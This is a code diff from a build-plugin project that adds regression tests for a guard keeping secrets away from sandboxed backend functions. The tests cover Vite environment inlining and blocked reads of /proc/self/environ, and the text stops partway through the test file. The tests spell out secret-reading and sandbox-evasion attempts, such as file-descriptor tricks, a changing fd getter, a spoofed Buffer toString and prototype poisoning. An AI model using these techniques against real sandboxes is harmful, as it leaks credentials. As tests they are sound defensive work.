diff --git a/packages/plugins/apps/src/vite/build-config.test.ts b/packages/plugins/apps/src/vite/build-config.test.ts index 481aa7e26..93eacb43d 100644 --- a/packages/plugins/apps/src/vite/build-config.test.ts +++ b/packages/plugins/apps/src/vite/build-config.test.ts @@ -64,4 +64,121 @@ describe('getBaseBackendBuildConfig', () => { rmSync(workingDir); } }); + + // Regression coverage: Vite's loadEnv() copies any VITE_-prefixed key straight out of the real + // process.env into import.meta.env, and its `define` plugin statically inlines that value into + // the built output at build time — completely bypassing runWithScopedEnv's runtime scoping, + // which only wraps module execution, never this bundling step. + test('Should not inline a VITE_-prefixed real process.env value into the built backend function', async () => { + const seed = `build-config-env-leak-${Date.now()}`; + const workingDir = getTempWorkingDir(seed); + const secretKey = 'VITE_DD_TEST_REAL_SECRET'; + const secretValue = 'sk_should_never_be_inlined'; + const originalValue = process.env[secretKey]; + process.env[secretKey] = secretValue; + + try { + const absolutePath = `${workingDir}/src/readsViteEnv.backend.ts`; + + outputFileSync( + absolutePath, + ` + export async function readsViteEnv() { + return import.meta.env.${secretKey}; + } + `, + ); + + const virtualId = 'virtual:dd-backend-test:readsViteEnv'; + const virtualContent = `import { readsViteEnv } from ${JSON.stringify(absolutePath)};\nexport async function main($) { return await readsViteEnv(); }`; + const baseConfig = getBaseBackendBuildConfig( + workingDir, + { [virtualId]: virtualContent }, + [], + ); + + const result = await build({ + ...baseConfig, + build: { + ...baseConfig.build, + write: false, + rollupOptions: { + ...baseConfig.build.rollupOptions, + input: virtualId, + output: baseConfig.build.rollupOptions.output, + }, + }, + }); + + const output = Array.isArray(result) ? result[0] : result; + if (!('output' in output)) { + throw new Error('Unexpected vite.build result'); + } + const chunk = output.output[0]; + const code = chunk.type === 'chunk' ? chunk.code : ''; + + expect(code).not.toContain(secretValue); + } finally { + if (originalValue === undefined) { + delete process.env[secretKey]; + } else { + process.env[secretKey] = originalValue; + } + rmSync(workingDir); + } + }); + + // envPrefix: [] alone only blocks process.env — a secret that exists solely in a build root's + // own .env file, never set on process.env at all, needs envFile: false to stay unread. + test('Should not inline a VITE_-prefixed secret that exists only in a build root .env file', async () => { + const seed = `build-config-dotenv-leak-${Date.now()}`; + const workingDir = getTempWorkingDir(seed); + const secretValue = 'sk_should_never_be_inlined_from_dotenv'; + + try { + outputFileSync(`${workingDir}/.env`, `VITE_DD_TEST_DOTENV_SECRET=${secretValue}\n`); + + const absolutePath = `${workingDir}/src/readsDotenv.backend.ts`; + outputFileSync( + absolutePath, + ` + export async function readsDotenv() { + return import.meta.env.VITE_DD_TEST_DOTENV_SECRET; + } + `, + ); + + const virtualId = 'virtual:dd-backend-test:readsDotenv'; + const virtualContent = `import { readsDotenv } from ${JSON.stringify(absolutePath)};\nexport async function main($) { return await readsDotenv(); }`; + const baseConfig = getBaseBackendBuildConfig( + workingDir, + { [virtualId]: virtualContent }, + [], + ); + + const result = await build({ + ...baseConfig, + build: { + ...baseConfig.build, + write: false, + rollupOptions: { + ...baseConfig.build.rollupOptions, + input: virtualId, + output: baseConfig.build.rollupOptions.output, + }, + }, + }); + + const output = Array.isArray(result) ? result[0] : result; + if (!('output' in output)) { + throw new Error('Unexpected vite.build result'); + } + const chunk = output.output[0]; + const code = chunk.type === 'chunk' ? chunk.code : ''; + + expect(code).not.toContain(secretValue); + } finally { + rmSync(workingDir); + } + }); }); diff --git a/packages/plugins/apps/src/vite/build-config.ts b/packages/plugins/apps/src/vite/build-config.ts index f897b4da7..336f55b9c 100644 --- a/packages/plugins/apps/src/vite/build-config.ts +++ b/packages/plugins/apps/src/vite/build-config.ts @@ -43,6 +43,13 @@ export function getBaseBackendBuildConfig( } { return { configFile: false, + // configFile: false only skips loading a vite.config.js — it does not disable Vite's + // separate .env-file/import.meta.env machinery, which otherwise copies any VITE_-prefixed + // key straight out of the real process.env and statically inlines it into the built + // backend function. envPrefix: [] blocks that copy; envFile: false additionally stops a + // secret set only in the build root's own .env file from being read at all. + envFile: false, + envPrefix: [], root, logLevel: 'silent', build: { diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts new file mode 100644 index 000000000..6d7da7d13 --- /dev/null +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -0,0 +1,1412 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global NodeJS */ + +import { installFakeProcessEnv } from '@dd/tests/_jest/helpers/env'; +import fs from 'fs'; +import os from 'os'; +import path from 'path'; + +import { SAFE_ENV_KEYS, buildScopedEnv, forceResetEnv, runWithScopedEnv } from './env-guard'; + +// Hard backstop: process.env is a process-wide singleton, so a test that leaves it swapped (e.g. a bug skipping its own restore) would otherwise leak into every later test in this Jest worker. +afterEach(() => { + forceResetEnv(); +}); + +// The guard's own realpathSync/readlinkSync checks use references captured once at module load, +// immune to a jest.spyOn() applied afterward — that's the whole point (see env-guard.ts's own +// comment on nativeRealpathSync/nativeReadlinkSync). A test that needs its mock to reach those +// checks has to force a fresh module evaluation, via the same jest.isolateModules() + require() +// pattern already used above, AFTER installing the spy — the shared env/scope state still +// converges on the one real fs-keyed instance, so the top-level imported runWithScopedEnv/ +// fs.promises.* continue to work unchanged; only the native captures are freshly re-read. +function reEvaluateEnvGuardWithCurrentMocks(): void { + jest.isolateModules(() => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + require('./env-guard'); + }); +} + +describe('env-guard', () => { + installFakeProcessEnv({ + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'test', + TMPDIR: '/tmp', + }); + + describe('buildScopedEnv', () => { + // Captured in beforeAll, not as a describe-body constant: a describe body runs at Jest's + // "collection time", before the outer beforeAll has swapped process.env to the fake + // baseline, so a plain `const originalEnv = process.env` here would still capture the real, + // unswapped environment. The Proxy reference itself, not a value-snapshot copy: restoring via + // a copy is a genuine reassignment (pushed onto the restore history) rather than the + // self-assignment pop that undoes each test's own swap — a copy would leave every test's + // push unbalanced. + let originalEnv: typeof process.env; + beforeAll(() => { + originalEnv = process.env; + }); + + afterEach(() => { + process.env = originalEnv; + }); + + test('Should include only the safe allowlisted keys from the real environment, dropping everything else', () => { + const safeEntries = SAFE_ENV_KEYS.map((key, index) => [key, `/safe-value-${index}`]); + const safeValues = Object.fromEntries(safeEntries); + process.env = { + ...safeValues, + AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key', + DD_API_KEY: 'the-dev-servers-own-api-key', + SOME_RANDOM_SHELL_VAR: 'whatever', + }; + + const scoped = buildScopedEnv({}); + + expect(scoped).toEqual(safeValues); + }); + + test('Should merge in the provided Custom Credentials under their own names', () => { + process.env = { PATH: '/usr/bin' }; + + const scoped = buildScopedEnv({ STRIPE_API_KEY: 'sk_test_123' }); + + expect(scoped).toEqual({ PATH: '/usr/bin', STRIPE_API_KEY: 'sk_test_123' }); + }); + + test('Should omit an allowlisted key entirely when unset in the real environment, rather than including it as undefined', () => { + process.env = { PATH: '/usr/bin' }; + + const scoped = buildScopedEnv({}); + + const unsetSafeKeys = SAFE_ENV_KEYS.filter((key) => key !== 'PATH'); + for (const key of unsetSafeKeys) { + expect(key in scoped).toBe(false); + } + }); + + test('Should resolve a SAFE_ENV_KEYS entry under any casing on win32, matching real process.env', () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'win32', configurable: true }); + try { + process.env = { PATH: 'C:\\Windows' }; + const scoped = buildScopedEnv({}); + + expect(scoped.Path).toBe('C:\\Windows'); + expect(scoped.path).toBe('C:\\Windows'); + expect('Path' in scoped).toBe(true); + } finally { + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + test('Should not resolve a non-allowlisted key under any casing on win32', () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'win32', configurable: true }); + try { + process.env = { PATH: '/usr/bin' }; + const scoped = buildScopedEnv({ StripeApiKey: 'sk_test_123' }); + + expect(scoped.stripeapikey).toBeUndefined(); + expect('stripeapikey' in scoped).toBe(false); + } finally { + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + // The get/has traps alias any casing to the canonical key, but a write through a + // non-canonical casing has no trap to resolve against — without one, it creates a separate + // own property alongside the canonical key instead of updating it, so PATH/Path/path each + // read back a different, disagreeing value within the same scope. + test('Should resolve a write to a SAFE_ENV_KEYS entry under any casing to the same canonical key on win32', () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'win32', configurable: true }); + try { + process.env = { PATH: 'C:\\Windows' }; + const scoped = buildScopedEnv({}); + + scoped.Path = 'C:\\NewPath'; + + expect(scoped.PATH).toBe('C:\\NewPath'); + expect(scoped.Path).toBe('C:\\NewPath'); + expect(scoped.path).toBe('C:\\NewPath'); + } finally { + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + }); + + describe('runWithScopedEnv', () => { + test('Should expose only the scoped env to fn, not the real process.env', async () => { + const scoped = { PATH: '/usr/bin', STRIPE_API_KEY: 'sk_test_123' }; + + const seenKeys = await runWithScopedEnv(scoped, async () => Object.keys(process.env)); + + expect(seenKeys.sort()).toEqual(['PATH', 'STRIPE_API_KEY']); + }); + + test("Should never expose the real DD_API_KEY/DATADOG_API_KEY (the dev server's own credential) to fn", async () => { + const originalEnv = process.env; + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + + try { + const seenApiKey = await runWithScopedEnv( + { PATH: '/usr/bin' }, + async () => process.env.DD_API_KEY, + ); + expect(seenApiKey).toBeUndefined(); + } finally { + process.env = originalEnv; + } + }); + + test('Should restore the real process.env after fn resolves', async () => { + const realEnvSnapshot = { ...process.env }; + await runWithScopedEnv({ PATH: '/usr/bin' }, async () => undefined); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + test('Should restore the real process.env even when fn throws', async () => { + const realEnvSnapshot = { ...process.env }; + await expect( + runWithScopedEnv({ PATH: '/usr/bin' }, async () => { + throw new Error('customer function boom'); + }), + ).rejects.toThrow('customer function boom'); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // A zombie execution's continuation stays bound to the scope it started with via + // AsyncLocalStorage, so it can never observe or corrupt a newer, unrelated execution's + // separate scope — mirrors network-guard.ts's abandon-not-cancel protection for network + // access. Each scope's view is captured from inside its own callback, not read from the + // test's outer continuation, since AsyncLocalStorage only propagates into a run() callback, + // never back out to whatever called runWithScopedEnv without awaiting it. + test("Should not let an abandoned runWithScopedEnv call's own continuation see a newer, currently-active scoped window", async () => { + const realEnvSnapshot = { ...process.env }; + + let resolveAbandoned: (() => void) | undefined; + const abandoned = runWithScopedEnv({ PATH: '/abandoned' }, async () => { + await new Promise((resolve) => { + resolveAbandoned = resolve; + }); + // Resumed after `current` below has already started its own, separate scope — + // must still see its OWN scope, never the newer one's. + return process.env.PATH; + }); + + // A second, newer execution starts its own scoped-env window while the abandoned one's + // continuation is still pending (the timeout handler abandons rather than cancels it). + // Its view is captured synchronously, before its first await. + let resolveCurrent: (() => void) | undefined; + let currentSeenMidFlight: string | undefined; + const current = runWithScopedEnv({ PATH: '/current' }, async () => { + currentSeenMidFlight = process.env.PATH; + await new Promise((resolve) => { + resolveCurrent = resolve; + }); + return process.env.PATH; + }); + expect(currentSeenMidFlight).toBe('/current'); + + resolveAbandoned?.(); + await expect(abandoned).resolves.toBe('/abandoned'); + + resolveCurrent?.(); + await expect(current).resolves.toBe('/current'); + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // Regression coverage: a plain `process.env[key] = value` for an existing key, made from + // outside any scope, passes the Proxy itself as `receiver` — which on an existing writable + // property falls back to a PARTIAL descriptor that Node's native process.env binding + // rejects (dd-trace's require-hook hits this exact case). This describe block's fake + // baseline object tolerates that same partial descriptor where a real, unpatched Node + // process would throw, so this only asserts the fix's observable contract inside Jest. + test('Should not throw when assigning an already-existing key on process.env while unscoped', () => { + const before = process.env.PATH; + try { + expect(() => { + process.env.PATH = '/already-existing-key-reassigned'; + }).not.toThrow(); + expect(process.env.PATH).toBe('/already-existing-key-reassigned'); + } finally { + process.env.PATH = before; + } + }); + + // A brand-new key never existed on the Proxy's own target, so OrdinarySet's + // CreateDataProperty path (a full descriptor, not a partial one) always succeeds here — + // kept as a regression guard against this case regressing alongside the partial-descriptor + // one above. + test('Should still assign a brand-new key on process.env while unscoped', () => { + expect(() => { + process.env.DD_TEST_BRAND_NEW_ENV_GUARD_KEY = 'brand-new-value'; + }).not.toThrow(); + expect(process.env.DD_TEST_BRAND_NEW_ENV_GUARD_KEY).toBe('brand-new-value'); + delete process.env.DD_TEST_BRAND_NEW_ENV_GUARD_KEY; + }); + + // Assignment from inside an active scope resolves against the scoped view only, isolated + // from the real environment, for both an existing (allowlisted) key and a brand-new one. + test('Should still assign a key on process.env from inside an active scope, isolated to the real environment', async () => { + const realEnvSnapshot = { ...process.env }; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.env.PATH = '/scoped-and-reassigned'; + expect(process.env.PATH).toBe('/scoped-and-reassigned'); + process.env.NEW_SCOPED_KEY = 'only-visible-in-scope'; + expect(process.env.NEW_SCOPED_KEY).toBe('only-visible-in-scope'); + }); + + expect({ ...process.env }).toEqual(realEnvSnapshot); + }); + + // Other code — a test's own isolation swap, a dotenv-style tool — can and does reassign + // process.env wholesale after this module first loads; the guard must treat whatever it + // currently is as the new real fallback rather than silently going stale and unguarded. + test('Should adopt a wholesale process.env reassignment as the new real fallback, not a stale one', async () => { + const originalEnv = process.env; + process.env = { PATH: '/reassigned', SOME_NEW_VAR: 'set-after-reassignment' }; + + try { + const seenPath = await runWithScopedEnv( + { PATH: '/scoped' }, + async () => process.env.PATH, + ); + expect(seenPath).toBe('/scoped'); + + expect(process.env.PATH).toBe('/reassigned'); + expect(process.env.SOME_NEW_VAR).toBe('set-after-reassignment'); + } finally { + process.env = originalEnv; + } + }); + + // Without this, a customer function could do `process.env = {...}` from inside its own + // scope with no error at all — a plain reassignment replaces process's own `env` property + // outright, bypassing every trap on the object those traps guard. The NEXT runWithScopedEnv + // call's own install check would then silently adopt the customer's object as the new real + // fallback, corrupting every later, unrelated execution's safe-allowlisted view. + test("Should reject a customer function's wholesale process.env reassignment from inside its own scope", async () => { + const realEnvSnapshot = { ...process.env }; + + await expect( + runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.env = { INJECTED: 'attacker-controlled' }; + }), + ).rejects.toThrow(/[Rr]eassigning process\.env is not allowed/); + + // The blocked attempt must not have corrupted the real fallback a LATER, unrelated + // execution builds its own scoped view from. + expect({ ...process.env }).toEqual(realEnvSnapshot); + const laterScopedPath = await runWithScopedEnv( + { PATH: '/later' }, + async () => process.env.PATH, + ); + expect(laterScopedPath).toBe('/later'); + }); + + // Regression coverage: a naive fix (unconditionally adopting any reassignment made outside + // an active scope as the new real fallback) breaks the common "capture process.env, do + // something, restore it" pattern — capturing process.env captures a reference to the Proxy + // itself, so restoring it later would recurse into the same trap forever. + test('Should not infinitely recurse when process.env is captured and reassigned back to itself', () => { + const captured = process.env; + process.env = captured; + + expect(() => process.env.PATH).not.toThrow(); + }); + + // A single-level self-assignment can't tell a real restore from a no-op that happens to leave + // realEnv unchanged. Nesting two swaps proves the restore is a genuine pop, not a no-op: the + // inner self-assignment must bring back the outer swap's value, not the original real env or + // the value stuck from the inner swap. + test('Should restore the correct intermediate value when process.env is captured, swapped, and restored twice, nested', () => { + const originalPath = process.env.PATH; + const outerCaptured = process.env; + process.env = { PATH: '/outer-swap' } as NodeJS.ProcessEnv; + const innerCaptured = process.env; + process.env = { PATH: '/inner-swap' } as NodeJS.ProcessEnv; + + expect(process.env.PATH).toBe('/inner-swap'); + process.env = innerCaptured; + expect(process.env.PATH).toBe('/outer-swap'); + process.env = outerCaptured; + expect(process.env.PATH).toBe(originalPath); + }); + + // Reflect.get throws for a non-object value, and isEnvProxy() is the setter's first check on + // whatever gets assigned — without its own object/null guard, `process.env = null` (or + // undefined) would surface as an unhandled native TypeError instead of either this file's own + // clear rejection message (from inside a scope) or a graceful no-op (from outside one). + test('Should not throw a native TypeError when process.env is reassigned to null or undefined', () => { + // Each reassignment restored individually, not both bundled under one final restore: + // each is its own real reassignment, and a single self-assignment only undoes the one + // immediately before it. + const beforeNull = process.env; + try { + expect(() => { + process.env = null as unknown as NodeJS.ProcessEnv; + }).not.toThrow(); + } finally { + process.env = beforeNull; + } + + const beforeUndefined = process.env; + try { + expect(() => { + process.env = undefined as unknown as NodeJS.ProcessEnv; + }).not.toThrow(); + } finally { + process.env = beforeUndefined; + } + }); + + // Regression coverage: this file gets evaluated more than once in practice (Jest's + // per-test-file module isolation, or a duplicated bundled copy) — two jest.isolateModules() + // evaluations reproduce that directly. The real secret is set before the first instance + // ever installs its Proxy, so a later-created instance's runWithScopedEnv call must still + // hide it, matching network-guard.ts's getSharedContext() reasoning for shared state. + test('Should correctly scope process.env even when this module is evaluated a second time', async () => { + const originalEnv = process.env; + process.env = { CROSS_INSTANCE_SECRET: 'sk_should_never_leak' }; + + let firstInstance: typeof import('./env-guard') | undefined; + let secondInstance: typeof import('./env-guard') | undefined; + jest.isolateModules(() => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + firstInstance = require('./env-guard') as typeof import('./env-guard'); + }); + jest.isolateModules(() => { + // eslint-disable-next-line @typescript-eslint/no-require-imports + secondInstance = require('./env-guard') as typeof import('./env-guard'); + }); + if (!firstInstance || !secondInstance) { + throw new Error('jest.isolateModules() did not run its callback synchronously'); + } + expect(secondInstance.runWithScopedEnv).not.toBe(firstInstance.runWithScopedEnv); + + try { + const seenSecret = await secondInstance.runWithScopedEnv( + { PATH: '/scoped' }, + async () => process.env.CROSS_INSTANCE_SECRET, + ); + expect(seenSecret).toBeUndefined(); + } finally { + process.env = originalEnv; + } + }); + + // Without a setPrototypeOf trap, this call defaults to mutating `target` — the real, + // unscoped env object — even when called from inside a scope, letting a customer function + // poison the real environment's prototype chain permanently, outliving its own scope. + test('Should confine Object.setPrototypeOf(process.env, ...) to the scoped view, never the real env', async () => { + const realProtoBefore = Object.getPrototypeOf(process.env); + const poisonedProto = { POISONED: 'yes' }; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + Object.setPrototypeOf(process.env, poisonedProto); + return undefined; + }); + + expect(Object.getPrototypeOf(process.env)).toBe(realProtoBefore); + }); + + // Without a getPrototypeOf trap, this always defaults to reading `target` (the real env's + // untouched prototype) even inside a scope — so a customer function that just successfully + // scoped-set a prototype via setPrototypeOf would immediately read back the wrong value. + test('Should read back the same prototype just set via Object.setPrototypeOf(process.env, ...) within the same scope', async () => { + const scopedProto = { SCOPED: 'yes' }; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + Object.setPrototypeOf(process.env, scopedProto); + expect(Object.getPrototypeOf(process.env)).toBe(scopedProto); + }); + }); + + // Without a preventExtensions trap, this call defaults to forwarding to `target` — the real + // env object — permanently making it non-extensible. Every later unscoped + // ownKeys/getOwnPropertyDescriptor call then throws, since the Proxy's ownKeys trap (which + // resolves through currentEnv(), not the now-frozen target) returns a key set the engine can + // no longer reconcile with a non-extensible target — bricking process.env for the rest of the + // dev server process. + test('Should reject Object.freeze/Object.preventExtensions(process.env) without bricking it', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => Object.freeze(process.env)).toThrow(); + return undefined; + }); + + expect(Object.isExtensible(process.env)).toBe(true); + process.env.POST_ATTEMPT_KEY = 'still-writable'; + expect(process.env.POST_ATTEMPT_KEY).toBe('still-writable'); + delete process.env.POST_ATTEMPT_KEY; + }); + }); + + // Regression coverage for the /proc/.../environ backing-store bypass: swapping process.env alone doesn't stop reads of the kernel-backed environ file directly on Linux. + describe('environ-file guard', () => { + // fs.readFile/open/copyFile/cp report failure via their own error-first callback, never a + // synchronous throw — resolves with whatever the callback is eventually invoked with, so a + // caller can assert on it the same way as the promise-returning equivalents below. + function callbackError( + invoke: (callback: (error: unknown) => void) => void, + ): Promise { + return new Promise((resolve) => { + invoke((error) => resolve(error)); + }); + } + + test('Should block fs.readFileSync("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test(`Should block fs.readFileSync("/proc/${process.pid}/environ") during an active scoped-env window`, async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(`/proc/${process.pid}/environ`)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.promises.readFile("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile('/proc/self/environ')).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // fs.promises.readFile also accepts an already-open FileHandle in place of a path, caught + // the same way as a plain fd. Linux-only: opening a real FileHandle against + // /proc/self/environ needs /proc to exist at all. + test('Should block fs.promises.readFile(handle) when handle is a FileHandle already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const handle = await fs.promises.open('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile(handle)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + await handle.close(); + } + }); + + // Mocks process.platform and fs.readlinkSync so the FileHandle-resolution path is verified + // on every OS this suite runs on, not just Linux CI. A FileHandle isn't a plain number, so + // this passes a minimal duck-typed stand-in exposing only the `.fd` property the guard reads. + test('Should block fs.promises.readFile(handle) when handle.fd resolves to /proc/self/environ, on any OS', async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + expect(linkPath).toBe('/proc/self/fd/99'); + return '/proc/self/environ'; + }); + reEvaluateEnvGuardWithCurrentMocks(); + const fakeHandle = { fd: 99 } as unknown as Parameters[0]; + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile(fakeHandle)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + // Regression coverage: the callback-style fs.readFile must report failure via its own + // callback, not a synchronous throw — a caller relying on the real error-first-callback + // contract (with no surrounding try/catch, which that contract never requires) would + // otherwise crash instead of seeing the error. + test('Should block the callback-style fs.readFile("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.readFile('/proc/self/environ', callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); + }); + }); + + test('Should block fs.createReadStream("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // fs.createReadStream(path, { fd }) makes Node read from the fd directly, ignoring `path` + // entirely — the guard must inspect options.fd too, not just the (here, deliberately + // unrelated) leading path argument. Linux-only: opening a real fd against + // /proc/self/environ needs /proc to exist at all. + test('Should block fs.createReadStream(unrelatedPath, { fd }) when fd is already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const fd = fs.openSync('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/some/unrelated/path', { fd })).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.closeSync(fd); + } + }); + + test('Should block new fs.ReadStream(unrelatedPath, { fd }) when fd is already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const fd = fs.openSync('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => + Reflect.construct(fs.ReadStream, ['/some/unrelated/path', { fd }]), + ).toThrow(/not allowed in backend functions/); + }); + } finally { + fs.closeSync(fd); + } + }); + + // Mocks process.platform and fs.readlinkSync so the fd-option resolution path itself is + // verified on every OS this suite runs on, not just in Linux CI (mirroring the equivalent + // mocked test for the plain numeric-fd case above). + test('Should block fs.createReadStream(unrelatedPath, { fd }) when fd resolves to /proc/self/environ, on any OS', async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + expect(linkPath).toBe('/proc/self/fd/99'); + return '/proc/self/environ'; + }); + reEvaluateEnvGuardWithCurrentMocks(); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/some/unrelated/path', { fd: 99 })).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + test('Should not block fs.createReadStream(unrelatedPath, { fd }) when fd points at an unrelated real file', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-fd-option-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + const fd = fs.openSync(tmpFile, 'r'); + let stream: fs.ReadStream | undefined; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => { + stream = fs.createReadStream('/some/unrelated/path', { fd }); + stream.on('error', () => {}); + }).not.toThrow(); + }); + } finally { + stream?.destroy(); + fs.rmSync(tmpFile, { force: true }); + } + }); + + // options.fd can be an accessor property whose getter returns a different value on each + // read — a getter could show the guard's check a safe fd and hand the real implementation's + // separate read the secret one, so the guard must resolve options.fd exactly once and reuse + // that value for the real call too. Asserted by content, since the correct behavior is that + // the read proceeds safely rather than throws. + test("Should make the real read use only the fd value the guard's own check saw, never a getter's later, different return value", async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const safeFile = path.join(os.tmpdir(), `env-guard-fd-toctou-safe-${process.pid}.txt`); + const secretFile = path.join( + os.tmpdir(), + `env-guard-fd-toctou-secret-${process.pid}.txt`, + ); + fs.writeFileSync(safeFile, 'safe-content'); + fs.writeFileSync(secretFile, 'SECRET-CONTENT'); + const safeFd = fs.openSync(safeFile, 'r'); + const secretFd = fs.openSync(secretFile, 'r'); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + if (linkPath === `/proc/self/fd/${secretFd}`) { + return '/proc/self/environ'; + } + return '/some/unrelated/real/file'; + }); + + let readCount = 0; + const options = { + get fd() { + readCount += 1; + // First read (the guard's own check) sees the safe fd; every later read (what + // the real implementation would use if it read this property independently) + // would see the secret one instead. + return readCount === 1 ? safeFd : secretFd; + }, + }; + + let stream: fs.ReadStream | undefined; + let streamData = ''; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + stream = fs.createReadStream('/some/unrelated/path', options); + await new Promise((resolve, reject) => { + stream?.on('data', (chunk) => { + streamData += chunk; + }); + stream?.on('end', resolve); + stream?.on('error', reject); + }); + }); + + expect(streamData).toBe('safe-content'); + } finally { + stream?.destroy(); + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + fs.closeSync(secretFd); + fs.rmSync(safeFile, { force: true }); + fs.rmSync(secretFile, { force: true }); + } + }); + + test('Should block fs.openSync("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.openSync('/proc/self/environ', 'r')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // Regression coverage: same callback-contract requirement as fs.readFile above. + test('Should block the callback-style fs.open("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.open('/proc/self/environ', 'r', callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); + }); + }); + + test('Should block fs.promises.open("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.open('/proc/self/environ', 'r')).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block a Buffer or URL path pointing at /proc/self/environ, not just a string path', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const environPathAsBuffer = Buffer.from('/proc/self/environ'); + expect(() => fs.readFileSync(environPathAsBuffer)).toThrow( + /not allowed in backend functions/, + ); + const environPathAsUrl = new URL('file:///proc/self/environ'); + expect(() => fs.readFileSync(environPathAsUrl)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block a Buffer path even when its own toString is overridden to report a benign path', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const environPathAsBuffer = Buffer.from('/proc/self/environ'); + environPathAsBuffer.toString = () => '/tmp/benign-path'; + expect(() => fs.readFileSync(environPathAsBuffer)).toThrow( + /not allowed in backend functions/, + ); + }); + 